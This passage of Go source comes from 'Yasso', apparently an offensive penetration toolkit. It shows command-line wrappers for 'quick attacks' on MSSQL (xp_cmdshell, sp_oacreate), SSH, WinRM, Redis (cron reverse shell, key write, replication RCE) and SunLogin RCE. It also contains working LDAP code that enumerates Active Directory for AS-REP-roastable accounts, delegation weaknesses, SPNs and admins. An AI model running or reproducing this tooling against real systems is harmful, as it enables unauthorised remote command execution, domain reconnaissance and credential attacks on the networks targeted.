"Yasso/pkg/exploit/config"
"Yasso/pkg/exploit/ldap"
"Yasso/pkg/exploit/mssql"
"Yasso/pkg/exploit/redis"
"Yasso/pkg/exploit/ssh"
"Yasso/pkg/exploit/sunlogin"
"Yasso/pkg/exploit/winrm"
"github.com/spf13/cobra"
)
type ExpFlags struct {
Hostname string
Port int
User string
Pass string
KeyFile string
Rebound string
Command string
Method int // 每一个Exp的子方法
Listen string // 本地监听地址
SoPath string // so文件路径
Filter string // ldap的过滤器
LdapCmd bool // ldap的查询命令显示
LdapAll bool // 是否自动查询ldap
LdapName string // Ldap的name属性
}
var mssqlFlag ExpFlags
var MssqlCmd = &cobra.Command{
Use: "mssql",
Short: "Quick attacks on MSSQL services",
Run: func(cmd *cobra.Command, args []string) {
if mssqlFlag.Hostname == "" {
_ = cmd.Help()
return
}
switch mssqlFlag.Method {
case 1:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 1, mssqlFlag.Command)
case 2:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 2, mssqlFlag.Command)
case 3:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 3, mssqlFlag.Command)
case 4:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 4, mssqlFlag.Command)
default:
logger.Fatal("not found exploit method")
return
}
},
}
var sshFlag ExpFlags
var SshCmd = &cobra.Command{
Use: "ssh",
Short: "Quick attacks on SSH services",
Run: func(cmd *cobra.Command, args []string) {
if sshFlag.Hostname == "" {
_ = cmd.Help()
return
}
ssh.ExploitSSH(config.Exploits{
Hostname: sshFlag.Hostname,
Port: sshFlag.Port,
User: sshFlag.User,
Pass: sshFlag.Pass,
}, sshFlag.KeyFile)
},
}
var winrmFlag ExpFlags
var WinRmCmd = &cobra.Command{
Use: "winrm",
Short: "Quick attacks on WinRM services",
Run: func(cmd *cobra.Command, args []string) {
if winrmFlag.Hostname == "" {
_ = cmd.Help()
return
}
winrm.ExploitWinRM(config.Exploits{
Hostname: winrmFlag.Hostname,
Port: winrmFlag.Port,
User: winrmFlag.User,
Pass: winrmFlag.Pass,
}, winrmFlag.Command, winrmFlag.Method)
},
}
var redisFlag ExpFlags
var RedisCmd = &cobra.Command{
Use: "redis",
Short: "Quick attacks on Redis services",
Run: func(cmd *cobra.Command, args []string) {
if redisFlag.Hostname == "" {
_ = cmd.Help()
return
}
redis.ExploitRedis(config.Exploits{
Hostname: redisFlag.Hostname,
Port: redisFlag.Port,
User: "",
Pass: redisFlag.Pass,
}, redisFlag.Method, redisFlag.Rebound, redisFlag.KeyFile, redisFlag.Listen, "")
},
}
var sunLoginFlag ExpFlags
var SunLoginCmd = &cobra.Command{
Use: "sunlogin",
Short: "Quick attacks on SunLogin services (RCE)",
Run: func(cmd *cobra.Command, args []string) {
if sunLoginFlag.Hostname == "" {
_ = cmd.Help()
return
}
if sunLoginFlag.Port == 0 {
logger.Fatal("input sunlogin port")
return
} else {
sunlogin.ExploitSunLogin(config.Exploits{
Hostname: sunLoginFlag.Hostname,
Port: sunLoginFlag.Port,
User: "",
Pass: "",
}, sunLoginFlag.Command)
}
},
}
var LdapReaperFlag ExpFlags
var LdapReaperCmd = &cobra.Command{
Use: "ldap",
Short: "ldap single query with filter and fast automatic query",
Run: func(cmd *cobra.Command, args []string) {
if LdapReaperFlag.Hostname == "" || LdapReaperFlag.User == "" {
_ = cmd.Help()
return
}
if LdapReaperFlag.LdapCmd == true {
ldap.ListLdapCommand()
return
} else {
if LdapReaperFlag.Command != "" {
LdapReaperFlag.LdapAll = false
}
ldap.LdapAuthAndQuery(LdapReaperFlag.Hostname, LdapReaperFlag.User, LdapReaperFlag.Pass, LdapReaperFlag.Command, LdapReaperFlag.Filter, LdapReaperFlag.LdapName, LdapReaperFlag.LdapAll)
}
},
}
func init() {
MssqlCmd.Flags().StringVar(&mssqlFlag.Hostname, "host", "", "设置mssql连接主机地址")
MssqlCmd.Flags().StringVar(&mssqlFlag.Command, "cmd", "", "执行的system命令")
MssqlCmd.Flags().IntVar(&mssqlFlag.Port, "port", 1433, "设置mssql连接主机端口")
MssqlCmd.Flags().StringVar(&mssqlFlag.User, "user", "sa", "设置连接的用户名")
MssqlCmd.Flags().StringVar(&mssqlFlag.Pass, "pass", "", "设置连接的密码")
MssqlCmd.Flags().IntVar(&mssqlFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][xp_cmdshell]\n[2][sp_oacreate]\n[3][install SharpSQLKit]\n[4][uninstall SharpSQLKit]")
SshCmd.Flags().StringVar(&sshFlag.Hostname, "host", "", "设置ssh连接主机地址")
SshCmd.Flags().StringVar(&sshFlag.KeyFile, "key", "", "设置ssh的连接密钥")
SshCmd.Flags().StringVar(&sshFlag.User, "user", "root", "设置连接的用户名")
SshCmd.Flags().StringVar(&sshFlag.Pass, "pass", "", "设置连接的密码")
SshCmd.Flags().IntVar(&sshFlag.Port, "port", 22, "设置ssh的连接端口")
RedisCmd.Flags().StringVar(&redisFlag.Hostname, "host", "", "设置redis主机的连接地址")
RedisCmd.Flags().StringVar(&redisFlag.Rebound, "rebound", "", "设置redis定时计划反弹shell地址")
RedisCmd.Flags().StringVar(&redisFlag.KeyFile, "key", "", "设置redis写入公钥的本地文件路径")
RedisCmd.Flags().StringVar(&redisFlag.Listen, "listen", "127.0.0.1:8888", "设置redis主从服务本地监听")
RedisCmd.Flags().StringVar(&redisFlag.Pass, "pass", "", "设置redis的连接密码")
RedisCmd.Flags().StringVar(&redisFlag.SoPath, "so", "", "设置其他so文件路径")
RedisCmd.Flags().IntVar(&redisFlag.Port, "port", 6379, "设置redis的连接端口")
RedisCmd.Flags().IntVar(&redisFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][redis定时计划反弹shell]\n[2][redis公钥写入]\n[3][redis主从复制RCE(需要对方主机可以访问服务启动主机)]")
WinRmCmd.Flags().StringVar(&winrmFlag.Hostname, "host", "", "设置winrm连接主机")
WinRmCmd.Flags().StringVar(&winrmFlag.User, "user", "administrator", "设置winrm连接用户")
WinRmCmd.Flags().StringVar(&winrmFlag.Pass, "pass", "", "设置winrm连接密码")
WinRmCmd.Flags().StringVar(&winrmFlag.Command, "cmd", "whoami", "设置winrm执行的命令")
WinRmCmd.Flags().IntVar(&winrmFlag.Port, "port", 5985, "设置winrm连接端口")
WinRmCmd.Flags().IntVar(&winrmFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][winrm单命令执行,需配合cmd参数]\n[2][winrm正向shell方式执行]")
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Hostname, "host", "", "设置向日葵主机地址")
SunLoginCmd.Flags().IntVar(&sunLoginFlag.Port, "port", 0, "设置向日葵端口")
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Command, "cmd", "whoami", "设置system命令")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Hostname, "dc", "", "设置dc的主机名(FQDN)")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.User, "user", "", "设置域用户名称(.eg)[KLION\\Oadmin]")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Pass, "pass", "", "设置域用户密码")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Filter, "filter", "full-data", "设置过滤器,一般为full-data")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Command, "cmd", "", "设置查询命令,可通过ldap-cmd查看")
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapCmd, "ldap-cmd", false, "列出ldap可用的查询命令")
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapAll, "ldap-all", true, "是否采用自动ldap查询(将查询默认ldap信息)")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.LdapName, "name", "", "域(成员,组,计算机)名称")
}

View File

@@ -0,0 +1,8 @@
package filter
import "strings"
// LdapFilter ldap过滤器
func LdapFilter(needle string, filterDN string) string {
return strings.Replace(filterDN, "{username}", needle, -1)
}

View File

@@ -0,0 +1,69 @@
package query
var PwdFlags = map[int]string{
0x01: "PASSWORD_COMPLEX",
0x02: "PASSWORD_NO_ANON_CHANGE",
0x04: "PASSWORD_NO_CLEAR_CHANGE",
0x08: "LOCKOUT_ADMINS",
0x10: "PASSWORD_STORE_CLEARTEXT",
0x20: "REFUSE_PASSWORD_CHANGE",
}
var UacFlags = map[int]string{
0x00000002: "ACCOUNT_DISABLED",
0x00000010: "ACCOUNT_LOCKED",
0x00000020: "PASSWD_NOTREQD",
0x00000040: "PASSWD_CANT_CHANGE",
0x00000080: "PASSWORD_STORE_CLEARTEXT",
0x00000200: "NORMAL_ACCOUNT",
0x00001000: "WORKSTATION_ACCOUNT",
0x00002000: "SERVER_TRUST_ACCOUNT",
0x00010000: "DONT_EXPIRE_PASSWD",
0x00040000: "SMARTCARD_REQUIRED",
0x00080000: "TRUSTED_FOR_DELEGATION",
0x00100000: "NOT_DELEGATED",
0x00200000: "USE_DES_KEY_ONLY",
0x00400000: "DONT_REQ_PREAUTH",
0x00800000: "PASSWORD_EXPIRED",
0x01000000: "TRUSTED_TO_AUTH_FOR_DELEGATION",
0x04000000: "PARTIAL_SECRETS_ACCOUNT",
}
var SamType = map[int64]string{
0x0: "SAM_DOMAIN_OBJECT",
0x10000000: "SAM_GROUP_OBJECT",
0x10000001: "SAM_NON_SECURITY_GROUP_OBJECT",
0x20000000: "SAM_ALIAS_OBJECT",
0x20000001: "SAM_NON_SECURITY_ALIAS_OBJECT",
0x30000000: "SAM_USER_OBJECT",
0x30000001: "SAM_MACHINE_ACCOUNT",
0x30000002: "SAM_TRUST_ACCOUNT",
0x40000000: "SAM_APP_BASIC_GROUP",
0x40000001: "SAM_APP_QUERY_GROUP",
0x7fffffff: "SAM_ACCOUNT_TYPE_MAX",
}
var Trust = map[int]string{
0x00000001: "NON_TRANSITIVE",
0x00000002: "UPLEVEL_ONLY",
0x00000004: "QUARANTINED_DOMAIN",
0x00000008: "FOREST_TRANSITIVE",
0x00000010: "CROSS_ORGANIZATION",
0x00000020: "WITHIN_FOREST",
0x00000040: "TREAT_AS_EXTERNAL",
0x00000080: "USES_RC4_ENCRYPTION",
0x00000200: "CROSS_ORGANIZATION_NO_TGT_DELEGATION",
0x00000400: "PIM_TRUST",
0x00000800: "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION",
}
var TrustDirections = map[int]string{
0x01: "INBOUND",
0x02: "OUTBOUND",
0x03: "BIDIRECTIONAL",
}
var TrustType = map[int]string{
0x01: "DOWNLEVEL",
0x02: "UPLEVEL",
0x03: "MIT",
}

View File

@@ -0,0 +1,60 @@
package query
// LdapQueries ldap的查询字符串
var LdapQueries = map[string]string{
"users": "(objectClass=user)",
"groups": "(objectClass=group)",
"computers": "(objectClass=Computer)",
"dc": "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
"gpo": "(objectClass=groupPolicyContainer)",
"spn": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
"unconstrained-users": "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))",
"unconstrained-computers": "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))",
"ms-sql": "(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))",
"never-loggedon": "(&(objectCategory=person)(objectClass=user)(|(lastLogonTimestamp=0)(!(lastLogonTimestamp=*))))",
"admin-priv": "(adminCount=1)",
"domain-trust": "(objectClass=trustedDomain)",
"ou": "(&(objectCategory=organizationalUnit)(ou=*))",
"group-members": "(&(objectCategory=user)(memberOf={DN}))",
"specific-users": "(&(objectCategory=user)(sAMAccountName={SAM}))",
"specific-computers": "(&(objectClass=Computer)(cn={SAM}))",
"specific-groups": "(&(objectCategory=group)(sAMAccountName={SAM}))",
"specific-spn": "(&(&(servicePrincipalName=*)(cn={SAM})(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
"specific-ms-sql": "(&(objectCategory=computer)(cn={SAM})(servicePrincipalName=MSSQLSvc*))",
"asreproast": "(&(objectClass=user)(objectCategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))",
"unconstrained": "(|(&(objectClass=Computer)(useraccountcontrol:1.2.840.113556.1.4.803:=524288))(&(objectClass=user)(useraccountcontrol:1.2.840.113556.1.4.803:=524288)))",
}
var ldapCommands = map[string]string{
"users": "Users",
"user-logs": "User Properties",
"groups": "Groups",
"computers": "Computers",
"dc": "Domain Controllers",
"gpo": "Group Policy Objects",
"spn": "Service Principal Names",
"never-loggedon": "Users Never LoggedOn",
"ms-sql": "MS-SQL Servers",
"admin-priv": "Admin Priv",
"domain-trust": "Trusted Domain",
"ou": "Organizational Units",
"asreproast": "AS-REP Roastable Accounts",
"unconstrained": "Unconstrained Delegation",
}
var LdapCommandAndFilter = map[string]string{
"users": "full-data",
"user-logs": "",
"groups": "full-data",
"computers": "full-data",
"dc": "",
"gpo": "",
"spn": "",
"never-loggedon": "",
"ms-sql": "full-data",
"admin-priv": "",
"domain-trust": "",
"ou": "",
"asreproast": "",
"unconstrained": "",
}

View File

@@ -0,0 +1,197 @@
package query
import (
"Yasso/core/logger"
"github.com/jedib0t/go-pretty/v6/table"
"gopkg.in/ldap.v2"
"os"
)
type Server struct {
LdapServer string // dc地址
LdapUser string // 用户名(域用户即可)
LdapPassword string // 密码
}
// ldap的连接函数
func (s *Server) ldapConn() (*ldap.Conn, bool, error) {
conn, err := ldap.Dial("tcp", s.LdapServer)
if err != nil {
return nil, false, err
}
if err := conn.Bind(s.LdapUser, s.LdapPassword); err != nil {
return nil, false, err
}
return conn, true, nil
}
func LdapListQuery(dc, user, pass, baseDN, command, filter, name string, all bool) {
server := Server{
LdapServer: dc,
LdapPassword: pass,
LdapUser: user,
}
conn, flag, err := server.ldapConn()
defer conn.Close()
if flag == false || err != nil {
logger.Fatal("ldap server connect failed")
return
}
if all == true {
// 查询全部ldap并采用full-data过滤器
for i, f := range LdapCommandAndFilter {
err := LdapQuery(conn, baseDN, i, f, name)
if err != nil {
logger.Fatal(err.Error())
return
}
}
} else {
err := LdapQuery(conn, baseDN, command, filter, name)
if err != nil {
logger.Fatal(err.Error())
return
}
}
}
// LdapQuery 传入baseDN,
func LdapQuery(conn *ldap.Conn, baseDN string, command string, filter string, name string) error {
t := table.NewWriter()
t.SetOutputMirror(os.Stdout)
t.AppendHeader(table.Row{ldapCommands[command]})
t.SetColumnConfigs([]table.ColumnConfig{
{
Name: ldapCommands[command],
WidthMin: 20,
WidthMax: 100,
},
})
if command == "users" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "users" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "users" && name != "" && filter != "membership" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "users" && name != "" && filter == "membership" {
if err := LdapUserMemberShipResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "computers" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "computers" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "computers" && name != "" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && name != "" && filter != "membership" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && filter == "membership" && name != "" {
if err := LdapGroupResolver(t, conn, baseDN, name); err != nil {
logger.Fatal(err.Error())
}
}
if command == "dc" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "domain-trust" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "spn" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "spn" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "spn" && name != "" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "never-loggedon" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "gpo" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ou" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ms-sql" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ms-sql" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ms-sql" && name != "" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "asreproast" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "unconstrained" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "admin-priv" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
t.Render()
return nil
}

View File

@@ -0,0 +1,433 @@
package query
import (
"Yasso/pkg/exploit/ldap/core/filter"
"encoding/binary"
"fmt"
"github.com/audibleblink/bamflags"
"github.com/bwmarrin/go-objectsid"
"github.com/jedib0t/go-pretty/v6/table"
"gopkg.in/ldap.v2"
"math"
"strconv"
"strings"
)
// LdapListResolver ldap查询解析器
func LdapListResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", LdapQueries[command]),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return err
}
// 查询到数据
if len(res.Entries) > 0 {
for _, m := range res.Entries {
t.AppendRows([]table.Row{
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
})
}
t.AppendSeparator()
if command == "users" {
t.AppendRows([]table.Row{
{strconv.Itoa(len(res.Entries)) + "Domain Users Found"},
})
}
if command == "computers" {
t.AppendRows([]table.Row{
{strconv.Itoa(len(res.Entries)) + " Domain Computers Found"},
})
}
if command == "groups" {
t.AppendRows([]table.Row{
{strconv.Itoa(len(res.Entries)) + " Domain Groups Found"},
})
}
}
return nil
}
// LdapFullResolver ldap的完全解析器
func LdapFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", LdapQueries[command]),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return nil
}
// 查询到数据
if len(res.Entries) > 0 {
for _, m := range res.Entries {
LdapResolver(m, t)
t.AppendSeparator()
}
}
return nil
}
// LdapSpecificFullResolver ldap的特殊解析器
func LdapSpecificFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return err
}
if len(res.Entries) > 0 {
for _, m := range res.Entries {
LdapResolver(m, t)
t.AppendSeparator()
}
}
return nil
}
func LdapUserMemberShipResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return err
}
if len(res.Entries) > 0 {
for _, m := range res.Entries {
if len(m.GetAttributeValue("memberOf")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Member of: \n\t%s", strings.Join(m.GetAttributeValues("memberOf"), "\n\t"))},
})
}
}
}
return nil
}
func LdapGroupDN(conn *ldap.Conn, baseDN string, name string) string {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["specific-groups"], "{SAM}", name)),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
fmt.Println(err)
}
if len(res.Entries) > 0 {
for _, m := range res.Entries {
return m.DN
}
}
return ""
}
func LdapGroupResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string) error {
result, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["group-members"], "{DN}", LdapGroupDN(conn, baseDN, name))),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
fmt.Println(err)
}
if len(result.Entries) > 0 {
t.AppendRows([]table.Row{
{"Domain users in group: "},
})
for _, m := range result.Entries {
t.AppendRows([]table.Row{
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
})
}
}
return nil
}
func LdapParse(attr int64, Map map[int]string) []string {
values, err := bamflags.ParseInt(attr)
if err != nil {
return []string{}
}
var all []string
for _, value := range values {
if propName := Map[value]; propName != "" {
all = append(all, propName)
}
}
return all
}
func LdapGUID(b []byte) (string, error) {
if len(b) != 16 {
return "", fmt.Errorf("guid must be 16 bytes")
}
return fmt.Sprintf(
"%08x-%04x-%04x-%04x-%012x",
binary.LittleEndian.Uint32(b[:4]),
binary.LittleEndian.Uint16(b[4:6]),
binary.LittleEndian.Uint16(b[6:8]),
b[8:10],
b[10:]), nil
}
func LdapSID(b []byte) (string, error) {
if len(b) < 12 {
return "", fmt.Errorf("[+]Invalid Windows SID")
}
sid := objectsid.Decode(b)
return sid.String(), nil
}
// LdapResolver ldap的解析器
func LdapResolver(entry *ldap.Entry, t table.Writer) {
// DN
if len(entry.DN) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("DN: %s", entry.DN)},
})
}
// 用户名
if len(entry.GetAttributeValue("sAMAccountName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("SAM Account Name: %s", entry.GetAttributeValue("sAMAccountName"))},
})
}
// 用户名类型
if len(entry.GetAttributeValue("sAMAccountType")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("SAM Account Type: %s", entry.GetAttributeValue("sAMAccountType"))},
})
}
// Mail
if len(entry.GetAttributeValue("mail")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Mail ID: %s", entry.GetAttributeValue("mail"))},
})
}
// UID
if len(entry.GetAttributeValue("uid")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("UID: %s", entry.GetAttributeValue("uid"))},
})
}
// OU
if len(entry.GetAttributeValue("ou")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("OU: %s", entry.GetAttributeValue("ou"))},
})
}
// CN
if len(entry.GetAttributeValue("cn")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("CN: %s", entry.GetAttributeValue("cn"))},
})
}
if len(entry.GetAttributeValue("givenName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Given Name: %s", entry.GetAttributeValue("givenName"))},
})
}
if len(entry.GetAttributeValue("sn")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("SN: %s", entry.GetAttributeValue("sn"))},
})
}
if len(entry.GetAttributeValue("description")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Description: %s", entry.GetAttributeValue("description"))},
})
}
if len(entry.GetAttributeValue("title")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Title: %s", entry.GetAttributeValue("title"))},
})
}
if len(entry.GetAttributeValue("c")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Country: %s", entry.GetAttributeValue("c"))},
})
}
if len(entry.GetAttributeValue("co")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Country Code: %s", entry.GetAttributeValue("co"))},
})
}
if len(entry.GetAttributeValue("l")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("City: %s", entry.GetAttributeValue("l"))},
})
}
if len(entry.GetAttributeValue("st")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("State: %s", entry.GetAttributeValue("st"))},
})
}
if len(entry.GetAttributeValue("streetAddress")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Street Address: %s", entry.GetAttributeValue("streetAddress"))},
})
}
if len(entry.GetAttributeValue("postalCode")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Postal Code: %s", entry.GetAttributeValue("postalCode"))},
})
}
if len(entry.GetAttributeValue("postOfficeBox")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Post Office Box: %s", entry.GetAttributeValue("postOfficeBox"))},
})
}
if len(entry.GetAttributeValue("company")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Company: %s", entry.GetAttributeValue("company"))},
})
}
if len(entry.GetAttributeValue("instanceType")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Instance Type: %s", entry.GetAttributeValue("instanceType"))},
})
}
if len(entry.GetAttributeValue("objectClass")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object Class: %s", strings.Join(entry.GetAttributeValues("objectClass"), ", "))},
})
}
if len(entry.GetAttributeValue("objectCategory")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object Category: %s", entry.GetAttributeValue("objectCategory"))},
})
}
if len(entry.GetAttributeValue("memberOf")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Member Of: \n\t%s", strings.Join(entry.GetAttributeValues("memberOf"), "\n\t"))},
})
}
if len(entry.GetAttributeValue("dNSHostName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("DNS Host Name: %s", entry.GetAttributeValue("dNSHostName"))},
})
}
if len(entry.GetAttributeValue("servicePrincipalName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Service Principal Name (SPN): \n\t%s", strings.Join(entry.GetAttributeValues("servicePrincipalName"), "\n\t"))},
})
}
if len(entry.GetAttributeValue("operatingSystem")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Operating System: %s", entry.GetAttributeValue("operatingSystem"))},
})
}
if len(entry.GetAttributeValue("operatingSystemVersion")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Operating System Version: %s", entry.GetAttributeValue("operatingSystemVersion"))},
})
}
if len(entry.GetAttributeValue("userAccountControl")) > 0 {
uacFlag, err := strconv.ParseInt(entry.GetAttributeValue("userAccountControl"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("UAC Flag: %s", strings.Join(LdapParse(uacFlag, UacFlags)[:], ","))},
})
}
}
if len(entry.GetAttributeValue("userAccountControl")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("User Account Control: %s", entry.GetAttributeValue("userAccountControl"))},
})
}
if len(entry.GetAttributeValue("trustType")) > 0 {
trustType, err := strconv.ParseInt(entry.GetAttributeValue("trustType"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Trust Type: %s", strings.Join(LdapParse(trustType, TrustType)[:], ","))},
})
}
}
if len(entry.GetAttributeValue("trustDirection")) > 0 {
trustDirection, err := strconv.ParseInt(entry.GetAttributeValue("trustDirection"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Trust Direction: %s", strings.Join(LdapParse(trustDirection, TrustDirections)[:], ","))},
})
}
}
if len(entry.GetAttributeValue("trustAttributes")) > 0 {
trustAttributes, err := strconv.ParseInt(entry.GetAttributeValue("trustAttributes"), 0, 64)
if err != nil {
//do nothing
} else {
t.AppendRows([]table.Row{
{fmt.Sprintf("Trust Attribute: %s", strings.Join(LdapParse(trustAttributes, Trust)[:], ","))},
})
}
}
